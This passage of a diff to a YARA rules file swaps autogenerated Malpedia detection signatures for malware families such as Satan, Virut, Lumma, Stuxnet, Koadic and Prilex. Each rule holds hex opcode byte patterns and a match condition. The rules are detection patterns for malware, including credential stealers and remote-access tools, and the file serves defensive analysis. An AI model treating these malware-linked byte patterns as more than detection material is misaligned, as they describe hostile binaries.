-		$sequence_2 = { 41894704 418bc4 48c1e810 0fb6c8 418bc0 0fb6943170e30400 }
-		$sequence_3 = { 4c8d0dc2a10300 8d5078 8d4803 448d4041 }
-		$sequence_4 = { 4c8d9db0070000 488d8580020000 4c895c2440 89742438 4489742430 }
-		$sequence_5 = { 3241ff 48ffca 88440bff 75ed 488bfe }
-		$sequence_6 = { 4c8d0daf4d0300 baca000000 b910000000 e8???????? 488bcf }
-		$sequence_7 = { 4c89ac2408290300 664489b5a0050000 e8???????? 488d8d92030000 }
-		$sequence_8 = { ff15???????? 83bdc4f8ffff00 741c 68???????? e8???????? 69c0e8030000 83c404 }
-		$sequence_9 = { c74424183ba7ca84 c744241c85ae67bb c74424202bf894fe c744242472f36e3c }
-		$sequence_10 = { 8a44242a 8b1c8d38640410 8b048538600410 8bca 33c3 }
-		$sequence_11 = { 8d1433 52 50 ff15???????? 85c0 0f8435ffffff 8b15???????? }
-		$sequence_12 = { 68???????? 52 ffd7 8d85fcf7ffff 83c408 8d5002 668b08 }
-		$sequence_13 = { 83f906 0f87c1000000 ff248d302a0210 8b4810 85c9 74d6 8b490c }
-		$sequence_14 = { 8b8dacfeffff 51 e8???????? 8b9db0feffff }
+		$sequence_0 = { 89442420 8b471c d1ee 52 50 83e601 }
+		$sequence_1 = { 5f 5e 5d b801000000 5b c20400 8b461c }
+		$sequence_2 = { 3bc5 7c10 5f 5e 5d b8feffffff 5b }
+		$sequence_3 = { 8b461c 85c0 0f8476010000 8b868c000000 }
+		$sequence_4 = { 0fb6da f683c11c450004 7406 8816 46 40 ff01 }
+		$sequence_5 = { b81f85eb51 f7e9 c1fa05 8bca b81f85eb51 c1e91f }
+		$sequence_6 = { 56 8bf1 33db 57 8975f0 895dec c745e8a4ff4300 }
+		$sequence_7 = { e8???????? c7462844d04300 833d????????00 7416 }
+		$sequence_8 = { c3 33c0 5e c3 8b442404 c74050f0b94400 }
+		$sequence_9 = { c745f020d04300 c745e810000000 e8???????? 85c0 7403 }
 
 	condition:
-		7 of them and filesize <1429504
+		7 of them and filesize <5505024
 }
-rule MALPEDIA_Win_Colony_Auto : FILE
+rule MALPEDIA_Win_Retro_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2ec04e04-70c5-5f61-acc9-0f96a006c29a"
+		id = "a4751029-21e3-5dc7-8b10-667fe3852f4c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.colony"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.colony_auto.yar#L1-L225"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.retro"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.retro_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "a79879d34246651b7f75532605ca94c4866e5edbca41b238eabaad9f54198dce"
+		logic_hash = "a167f37f4c1b5df11b8ae00c368ae3ba7079a871854da90fb0bcfd20e0f3d7b0"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -166148,87 +173469,73 @@ rule MALPEDIA_Win_Colony_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0118 e9???????? 6a00 6818200000 }
-		$sequence_1 = { 0118 e9???????? c745ec00000000 85db }
-		$sequence_2 = { 03c1 50 e8???????? 83c40c 8b45f0 }
-		$sequence_3 = { 8b421c 2b4218 660f6ec0 f30fe6c0 }
-		$sequence_4 = { 8b4214 2b4210 660f6ec0 f30fe6c0 }
-		$sequence_5 = { 0101 0101 0101 0202 0202 0200 }
-		$sequence_6 = { 69d200008f04 2bc8 c1e910 69c161a4f778 2bd0 }
-		$sequence_7 = { 0102 894dec 3bcb 7c85 }
-		$sequence_8 = { 7407 b901000000 eb0a 33c9 803f01 0f95c1 33c0 }
-		$sequence_9 = { 8b420c 2b4208 660f6ec0 f30fe6c0 }
-		$sequence_10 = { 034de8 894604 893e 8930 }
-		$sequence_11 = { 740f 0301 eb0b a801 }
-		$sequence_12 = { 03f1 ff15???????? 8b0d???????? 53 }
-		$sequence_13 = { 03c0 8985bcfbffff 8d85bcfbffff 6a00 }
-		$sequence_14 = { 8a4202 8841ff 8b02 c1e808 }
-		$sequence_15 = { 660f6e4104 f30fe6c0 84c0 7509 }
-		$sequence_16 = { 488d15e5980000 483305???????? 488bcb 488905???????? ff15???????? 488d15e7980000 483305???????? }
-		$sequence_17 = { e8???????? 4803db 4c8d3590fc0000 49833cde00 7407 }
-		$sequence_18 = { 837b0801 7524 4863c6 488d15551a0100 4533c0 488d0c80 ffc6 }
-		$sequence_19 = { 488905???????? ff15???????? 488d15f3980000 483305???????? 488bcb 488905???????? }
-		$sequence_20 = { 488d3d0cb8ffff 488bcf e8???????? 85c0 }
-		$sequence_21 = { 488d1552fb0000 483950f0 740c 488b10 4885d2 7404 f044010a }
-		$sequence_22 = { 0f8c65030000 488d3534ac0000 4883ee60 4585ed 0f843f030000 }
-		$sequence_23 = { 3b0d???????? 7367 4863c1 4c8d354acd0000 488bf8 83e01f 48c1ff05 }
+		$sequence_0 = { 49ffcb 8941ec 418b440af0 8941f0 418b440af4 }
+		$sequence_1 = { 8b442420 4863c8 ba04000000 e8???????? 4c8bb42478400000 4c8ba42480400000 488bb42488400000 }
+		$sequence_2 = { 488b742468 488dab00120000 f30f100d???????? 4963c5 448b848308130000 418d4701 410fafc0 }
+		$sequence_3 = { f30f58c2 f30f58c1 f30f58c5 4883c478 c3 660feb15???????? f30f5c15???????? }
+		$sequence_4 = { f3410f1081f8550100 410f2fc0 7604 f30f59e8 8d442eff 4863c8 }
+		$sequence_5 = { 418bd4 e8???????? 33c9 85c0 0f8514010000 4c8d2df2e70300 }
+		$sequence_6 = { f30f59e8 418d4424ff 4863c8 483bcd 7c2e 0f1f00 660f6e0c8b }
+		$sequence_7 = { 4881c460260000 415f 415e 415d 5f 5e 5b }
+		$sequence_8 = { 48c1f905 4c8d05db7f0500 83e21f 486bd258 490314c8 488d0d79700200 eb11 }
+		$sequence_9 = { f20f1035???????? 0f297c2430 0f57ff 33ff 83bab412000002 488bda 4c8bc9 }
 
 	condition:
-		7 of them and filesize <7599104
+		7 of them and filesize <1409024
 }
-rule MALPEDIA_Win_Pvzout_Auto : FILE
+rule MALPEDIA_Win_Swen_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "bc80d9fe-85e4-55f8-8d8b-08382557b556"
-		date = "2023-01-25"
-		modified = "2023-01-26"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pvzout"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pvzout_auto.yar#L1-L115"
+		id = "7f9f6459-0c0a-509f-9c87-8a68bae77e34"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.swen"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.swen_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "3b1eb492455f147bf0fe300cd3d173313439f65c62c0ebecede0fab8aacab139"
+		logic_hash = "6a4f1002b8a4868bbe8661a8400f2e2886c507211772c905c6406fbef250b4fb"
 		score = 75
 		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
 		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20230124"
-		malpedia_hash = "2ee0eebba83dce3d019a90519f2f972c0fcf9686"
-		malpedia_version = "20230125"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
 		malpedia_license = "CC BY-SA 4.0"
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 3e3f 19e9 73f8 dca10ebd24e8 252b0026cb }
-		$sequence_1 = { 5a bf95f6810e 75a8 43 1dea50873a d4a1 }
-		$sequence_2 = { 9c b3d7 5a bf95f6810e 75a8 }
-		$sequence_3 = { bbedffffff 03dd 81eb00d00200 83bd8804000000 899d88040000 }
-		$sequence_4 = { 3089f33d80f3 48 e21c 3e3f }
-		$sequence_5 = { 5d bbedffffff 03dd 81eb00d00200 83bd8804000000 }
-		$sequence_6 = { 03dd 81eb00d00200 83bd8804000000 899d88040000 }
-		$sequence_7 = { d4a1 0e 75a8 43 }
-		$sequence_8 = { 81eb00d00200 83bd8804000000 899d88040000 0f85cb030000 8d8594040000 50 }
-		$sequence_9 = { 5a bf95f6810e 75a8 43 1dea50873a d4a1 0e }
+		$sequence_0 = { ab 8d85a8fcffff 50 8d8564fcffff 50 56 56 }
+		$sequence_1 = { 6a05 59 be???????? 8dbd1cfeffff f3a5 66a5 }
+		$sequence_2 = { 68b0040000 ff15???????? c9 c3 55 8bec 6aff }
+		$sequence_3 = { 33c9 85c0 0f95c1 41 890d???????? 8b450c 3905???????? }
+		$sequence_4 = { 59 59 50 8d8594fcffff 50 }
+		$sequence_5 = { 0fbe4602 8d48df 83f951 7408 83c00a 83f85c 755f }
+		$sequence_6 = { 53 6880000000 6a04 53 6a03 6800000040 8d85e4feffff }
+		$sequence_7 = { e8???????? 8d85d8fdffff 50 8d8550ffffff 50 e8???????? 8d4603 }
+		$sequence_8 = { 0f84b2000000 895de0 8b4de4 c1e902 8b45e0 3bc1 0f839e000000 }
+		$sequence_9 = { 3bc3 7410 8d8d80feffff 2bc1 40 40 89857cfeffff }
 
 	condition:
-		7 of them and filesize <573440
+		7 of them and filesize <286720
 }
-rule MALPEDIA_Win_Satan_Auto : FILE
+rule MALPEDIA_Win_Lumma_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ddfd46bc-87c6-53ce-9595-be9a6a99e4e0"
+		id = "00d0b80d-1d60-5a8c-ab53-b2e4e4ca8bb2"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.satan"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.satan_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lumma_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "6170986a4237acbed4cbbf775dbbfb72e2b63776fab2b68ba052c6ad44853238"
+		logic_hash = "5263a9e2f3da4148c4cca89d62ca2919f1c780d4176c9b4897b89aefc59def79"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -166240,32 +173547,35 @@ rule MALPEDIA_Win_Satan_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 8be5 5d c20800 8b45e4 c745b800000000 c745bc00000000 }
-		$sequence_1 = { 52 ff15???????? 8b4508 8b0c85e8c24700 83e102 740d 8d95e4dfffff }
-		$sequence_2 = { ffb5c4e7ffff 8985a0e7ffff ffb5bce7ffff c745ec04000000 }
-		$sequence_3 = { 57 50 8d45f4 64a300000000 8d4dd0 e8???????? }
-		$sequence_4 = { e8???????? 8b85acfeffff 83f810 7212 40 6a01 }
-		$sequence_5 = { eb9b 8b4dfc c1f906 8b55fc 83e23f 6bc230 03048d40e04700 }
-		$sequence_6 = { e8???????? 8845dc c745fc01000000 84c0 0f84b3010000 8d45d0 50 }
-		$sequence_7 = { 8d0c8584d64700 51 e8???????? 83c408 }
-		$sequence_8 = { 64a300000000 68b8000000 8d8598fdffff 6a00 50 e8???????? 68???????? }
-		$sequence_9 = { 8b5508 83e23f 6bd230 8b0c8d40e04700 8844112d 8b45ec d1e0 }
+		$sequence_0 = { 57 53 ff767c ff7678 }
+		$sequence_1 = { ffd0 83c40c 894648 85c0 }
+		$sequence_2 = { ff5130 83c410 85c0 7407 }
+		$sequence_3 = { ff7678 ff7644 ff563c 83c414 }
+		$sequence_4 = { ff770c ff37 ff7134 ff5130 }
+		$sequence_5 = { ff7608 ff7044 ff503c 83c414 }
+		$sequence_6 = { 894610 8b461c c1e002 50 }
+		$sequence_7 = { 833800 740a e8???????? 833822 }
+		$sequence_8 = { 83c40c 6a02 6804010000 e8???????? }
+		$sequence_9 = { 017e78 83567c00 017e68 83566c00 }
+		$sequence_10 = { 89e5 8b550c 6bd204 89d1 }
+		$sequence_11 = { 41 5d 41 5b 41 5c }
+		$sequence_12 = { 48 83ec28 0f05 48 83c428 49 }
 
 	condition:
-		7 of them and filesize <1163264
+		7 of them and filesize <1115136
 }
-rule MALPEDIA_Win_Dexbia_Auto : FILE
+rule MALPEDIA_Win_Catb_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2a243938-7809-594c-bcba-7fd4f6425c32"
+		id = "515d6ff4-29b8-5f9d-8e4d-ae72db2e24b8"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dexbia"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dexbia_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.catb"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.catb_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "13aa7ee33f2f2a26f0806c6fd2186fbe2a0332c45fef215a0c0786ff94a8b62c"
+		logic_hash = "9a8c29b856252443b361ebb50acc406bc1908e5c4eee2fd3c5627837db3c96fd"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -166279,32 +173589,32 @@ rule MALPEDIA_Win_Dexbia_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8bfd b908000000 be???????? 83c520 83c320 }
-		$sequence_1 = { a3???????? e8???????? 8db6ec894000 bf???????? }
-		$sequence_2 = { ff15???????? 85c0 740c 8b442414 85c0 742a }
-		$sequence_3 = { 5b 81c4e81b0000 c20400 57 ff15???????? b97f000000 33c0 }
-		$sequence_4 = { f3a5 8bcb 8d442410 83e103 50 f3a4 68???????? }
-		$sequence_5 = { 5e 5d 33c0 5b 81c408100000 c3 68???????? }
-		$sequence_6 = { 50 ffd5 a1???????? 85c0 0f841dffffff e8???????? 5f }
-		$sequence_7 = { 80e920 ebe0 80a0a09e400000 40 }
-		$sequence_8 = { 81c408100000 c3 ff15???????? 6a00 ff15???????? 5f 5e }
-		$sequence_9 = { 83c404 8bf0 33c0 89442414 8944241c }
+		$sequence_0 = { 418bcc e8???????? 85c0 0f8484000000 488b442440 488d0d22920300 }
+		$sequence_1 = { 4c8d050e9c0300 83e23f 488bcb 48c1f906 488d14d2 498b0cc8 8064d138fd }
+		$sequence_2 = { 488d159bdc0000 483950f0 740b 488b10 }
+		$sequence_3 = { 4c8d0da47f0000 b903000000 4c8d05907f0000 488d15f9750000 e8???????? 4885c0 740f }
+		$sequence_4 = { 4533c0 488d0d8e0e0400 baa00f0000 e8???????? 85c0 740a ff05???????? }
+		$sequence_5 = { 4c8d0d6bab0300 4c8bc6 488bd7 488bcb e8???????? }
+		$sequence_6 = { 4c8d0d922affff 4c8b4570 8b5568 488b4d60 }
+		$sequence_7 = { 4053 4883ec20 8bd9 4c8d0d05d00000 }
+		$sequence_8 = { 488d0d72190400 e8???????? 488b442438 488905???????? 488d442438 4883c008 }
+		$sequence_9 = { 488bc3 498784f6803c0400 4885c0 7409 }
 
 	condition:
-		7 of them and filesize <106496
+		7 of them and filesize <593920
 }
-rule MALPEDIA_Win_Hacksfase_Auto : FILE
+rule MALPEDIA_Win_Webc2_Ugx_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "efd0a25a-4cca-56d9-81da-25a62e74a476"
+		id = "af26c213-66d2-5675-81ab-6f59f34ddb98"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hacksfase"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hacksfase_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_ugx"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.webc2_ugx_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "cb98da9c56e02049453f68129b331881a66f9a471f383d0aefdbab19d12d9c15"
+		logic_hash = "c0369798dbc9b5bf726746a205f3377c225f0e99dd41f08ae5697ccf08cc0c9d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -166318,32 +173628,32 @@ rule MALPEDIA_Win_Hacksfase_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 81ec1c080000 53 55 56 57 6a1c 32db }
-		$sequence_1 = { 897ddc 8b45d0 03c0 8945d0 8d4dd0 51 }
-		$sequence_2 = { 53 51 ff7628 895dbc 895dc4 895dc0 895dc8 }
-		$sequence_3 = { 895008 8b4120 8b5508 895020 8b4120 }
-		$sequence_4 = { 85c0 7509 b908000000 8bfb }
-		$sequence_5 = { a806 746c b9???????? c78424bc02000003000000 c78424c002000002000000 c78424c4020000ffffffff c78424b802000010000000 }
-		$sequence_6 = { ffd6 85c0 740a 33c0 5e 81c490010000 }
-		$sequence_7 = { 83ec18 8b4120 56 33f6 }
-		$sequence_8 = { 89842418040000 e8???????? b9???????? e8???????? }
-		$sequence_9 = { ff75f0 ffd7 6a18 e8???????? }
+		$sequence_0 = { 8d458c 895dec 50 8d8568ffffff 50 }
+		$sequence_1 = { 59 745e 8d4640 50 ff750c ffd3 59 }
+		$sequence_2 = { 50 ff15???????? 85c0 7455 8d85a8feffff 53 50 }
+		$sequence_3 = { ff9698060000 8bf8 85ff 0f84b5000000 8d866e0c0000 50 57 }
+		$sequence_4 = { 8d85a8feffff 68???????? 50 ffd6 }
+		$sequence_5 = { 50 ff55fc 8bc3 eb48 ff15???????? 56 }
+		$sequence_6 = { 8d8584fdffff 50 ff55bc 50 8d8584fdffff 50 }
+		$sequence_7 = { 8d8584f9ffff 57 50 ff55f0 }
+		$sequence_8 = { ff5508 ff7510 e9???????? 53 }
+		$sequence_9 = { 8d85a8feffff 68???????? 50 ffd6 8d85a8feffff 68???????? 50 }
 
 	condition:
-		7 of them and filesize <106496
+		7 of them and filesize <57344
 }
-rule MALPEDIA_Win_Nightsky_Auto : FILE
+rule MALPEDIA_Win_Prilex_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8aa7bf90-2e66-55fa-ac44-1eeed72fb6ec"
+		id = "33d37f97-5d7f-5370-b6c1-4299d7c65706"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nightsky"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nightsky_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.prilex"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.prilex_auto.yar#L1-L117"
 		license_url = "N/A"
-		logic_hash = "e63cd2d4ab9373a42087ae988b3e3adac99eadab50dc02b0732a77e7f3626d28"
+		logic_hash = "3845b326ac2cf1def622498895bf69526e3d4fb73889990b08fc4c5071c0498b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -166357,32 +173667,32 @@ rule MALPEDIA_Win_Nightsky_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 420fb68c1210ab0400 c1e108 0bc8 420fb6841212ab0400 }
-		$sequence_1 = { 4150 4d0fabe0 66442bc5 311424 6641d3e0 4158 4863d2 }
-		$sequence_2 = { 4883ec48 488364243000 8364242800 41b803000000 488d0dc0460000 4533c9 ba00000040 }
-		$sequence_3 = { 5f c3 488d05cf110000 48b90000000000000080 488987c8000000 488d0557990200 }
-		$sequence_4 = { e8???????? 488d15d92c0100 41b804010000 33c9 c605????????00 ff15???????? }
-		$sequence_5 = { 488d15d4be0000 41b898000000 498bd9 e8???????? 488b8424d0050000 488b9424e8050000 }
-		$sequence_6 = { e41d 1a5b5f a9b7f95f5f b8cbaa75cc d113 0ae4 }
-		$sequence_7 = { 0f8c96000000 3b1d???????? 0f838a000000 488bf3 4c8be3 49c1fc05 4c8d2d7e190100 }
-		$sequence_8 = { 488d0d0fda0000 480f45cf 48894b48 e8???????? eb17 4885ff 488d0dead90000 }
-		$sequence_9 = { 4883ec28 4c8bc1 4c8d0d52bbfdff 498bc9 }
+		$sequence_0 = { 8be8 ffd7 8d442410 8d4c2414 }
+		$sequence_1 = { 8b0f 51 ff15???????? 8945e4 68???????? }
+		$sequence_2 = { 8d442424 6a0c 8b11 50 52 56 }
+		$sequence_3 = { e8???????? 5d 8d4c2420 8d542414 51 }
+		$sequence_4 = { ff15???????? c745fc02000000 8b4510 33c9 833800 0f95c1 }
+		$sequence_5 = { 8d858cfdffff 52 8d8d9cfdffff 50 51 }
+		$sequence_6 = { 83c104 898d24ffffff c7851cffffff03400000 8d951cffffff 52 8d458c 50 }
+		$sequence_7 = { 8d8dacfdffff 68???????? 52 898d54fdffff c7854cfdffff08400000 }
+		$sequence_8 = { e8???????? 8bf0 ff15???????? 8d45ac }
+		$sequence_9 = { ffd6 50 8d4da0 68???????? 51 ffd6 }
 
 	condition:
-		7 of them and filesize <19536896
+		7 of them and filesize <450560
 }
-rule MALPEDIA_Win_Mimic_Auto : FILE
+rule MALPEDIA_Win_Bitsran_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "868573b4-62fd-5cb9-b5b2-294037fc58d9"
+		id = "e3cfbc68-7ec2-5ca7-89d3-b794638917c8"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mimic"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mimic_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bitsran"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bitsran_auto.yar#L1-L119"
 		license_url = "N/A"
-		logic_hash = "254f11d4299c867206c2f429f422756a353d8d6c35de138faa70cb17074bdf11"
+		logic_hash = "2919e184e2a9722abe679cf353ecc217eb2b7fdd010f4e63772073cd0ac5e798"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -166396,34 +173706,34 @@ rule MALPEDIA_Win_Mimic_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7f4a 7c05 3945e0 7343 8b55dc 83fa08 0f82b4000000 }
-		$sequence_1 = { 81fe2c010000 7f1d 68e8030000 ffd7 ffd3 85c0 74dd }
-		$sequence_2 = { 837db810 51 0f4345a4 8d4d84 03c2 50 e8???????? }
-		$sequence_3 = { a3???????? 8b8548feffff 894804 8d8d30feffff e8???????? 6a20 ffb530feffff }
-		$sequence_4 = { 0f43c2 0f43da 8d0470 8db5ccfdffff 8bc8 0f43f2 33ff }
-		$sequence_5 = { 42 41 3bd6 7cf4 3bd6 751f 6a61 }
-		$sequence_6 = { c745fc02000000 a801 743a 83e0fe 894584 83ff08 }
-		$sequence_7 = { 50 ffd6 68???????? c645fc40 e8???????? }
-		$sequence_8 = { 8d8d18ffffff e9???????? 8d4dc0 e9???????? 8d4dd8 e9???????? 8b542408 }
-		$sequence_9 = { 8b483c 898424e4000000 89ac24e0000000 894c2438 0f1f4000 0f1f840000000000 8bb424fc010000 }
+		$sequence_0 = { 85c0 7433 56 57 8bbdf8bfffff c1ef02 }
+		$sequence_1 = { 8911 8b0d???????? 8b9d58fdffff eb5e 8b35???????? }
+		$sequence_2 = { 85f6 7417 8b4508 50 }
+		$sequence_3 = { 50 53 e8???????? 8b9d44fdffff 83ef04 }
+		$sequence_4 = { 83c408 85c0 7403 8975fc 8b03 8d55b8 52 }
+		$sequence_5 = { 742b 8bc1 2bc1 c1f802 8d348500000000 }
+		$sequence_6 = { 8b04c5046f4100 5d c3 8bff }
+		$sequence_7 = { 8d95d4fbffff 52 53 ff15???????? 837d1401 7407 }
+		$sequence_8 = { 2bc3 c1f802 3dfeffff3f 0f87d0010000 8bca 2bcb }
+		$sequence_9 = { 899d58fdffff 3bd9 0f83fe000000 3bd3 0f87f6000000 8b35???????? 2bda }
 
 	condition:
-		7 of them and filesize <4204544
+		7 of them and filesize <344064
 }
-rule MALPEDIA_Win_Virut_Auto : FILE
+rule MALPEDIA_Win_Stuxnet_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d1cda5ac-7426-54df-b118-5de8978eea9c"
+		id = "e84f453f-688f-5279-9168-a0cb915408b7"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.virut"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.virut_auto.yar#L1-L166"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stuxnet"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.stuxnet_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "2bad431ccdf4fab7d1de984be24a8fafd07e087427bb72238bd9b56468720628"
+		logic_hash = "9f5d56947917572e8a9b84c0e49b11ae5a34a590900f3243fcc05249be23cf0d"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -166435,38 +173745,32 @@ rule MALPEDIA_Win_Virut_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 89442418 3bc3 0f8441020000 6801040000 8d8424fc050000 53 50 }
-		$sequence_1 = { 33f6 8bca 83c107 3bcb 7e1b }
-		$sequence_2 = { 0f8402010000 803f4d 0f85f9000000 807f015a }
-		$sequence_3 = { 6a00 59 e30a 6a0a }
-		$sequence_4 = { ff74241c 6a40 ff15???????? 8bf8 33c0 3bf3 }
-		$sequence_5 = { 8bf0 3bf3 0f8e82000000 ff74240c 57 56 }
-		$sequence_6 = { 51 6800040000 8d8c2404060000 51 89442428 }
-		$sequence_7 = { 8bcb f3a6 61 7405 }
-		$sequence_8 = { 8bd4 6a00 52 ff32 }
-		$sequence_9 = { 33d2 8bcf 52 f6d9 52 83e103 6a40 }
-		$sequence_10 = { 6800030084 51 51 56 }
-		$sequence_11 = { 49 4e 45 54 2e44 4c }
-		$sequence_12 = { 53 8d442444 50 8d8424e0020000 50 ffd6 }
-		$sequence_13 = { eb49 395c240c 7449 33c0 395c240c 7e24 }
-		$sequence_14 = { 6a10 59 f3ab 50 50 }
-		$sequence_15 = { 66ab 8d4704 ab 32e4 ac }
+		$sequence_0 = { e8???????? 8b5dec 8b45f0 895df4 8945f8 ff770c 8d75ec }
+		$sequence_1 = { c20400 b8???????? e8???????? 51 6a08 e8???????? 59 }
+		$sequence_2 = { e8???????? 33db 895dfc 53 8d45d8 50 6802000080 }
+		$sequence_3 = { 6aff 68???????? 64a100000000 50 64892500000000 83ec64 8d442420 }
+		$sequence_4 = { eb02 33f6 c645fc00 8b4f1c 3bf1 740a 85c9 }
+		$sequence_5 = { 837df008 8b45dc 7303 8d45dc 50 8d431c e8???????? }
+		$sequence_6 = { c706???????? e8???????? c645fc01 c6462400 834dfcff 8b4df4 8bc6 }
+		$sequence_7 = { a5 50 a5 ff5130 85c0 7cb0 8b9b48080000 }
+		$sequence_8 = { ff750c ff7510 8d45e4 50 e8???????? c645fc01 8d4def }
+		$sequence_9 = { ff7508 8d4df4 e8???????? 837d14ff 7d04 33c0 eb12 }
 
 	condition:
-		7 of them and filesize <98304
+		7 of them and filesize <2495488
 }
-rule MALPEDIA_Win_Fusiondrive_Auto : FILE
+rule MALPEDIA_Win_Koadic_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d735e520-5418-5676-9517-95f81cfe7607"
+		id = "e207fda4-6d66-54cd-bdbd-2bc35fe49343"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fusiondrive"
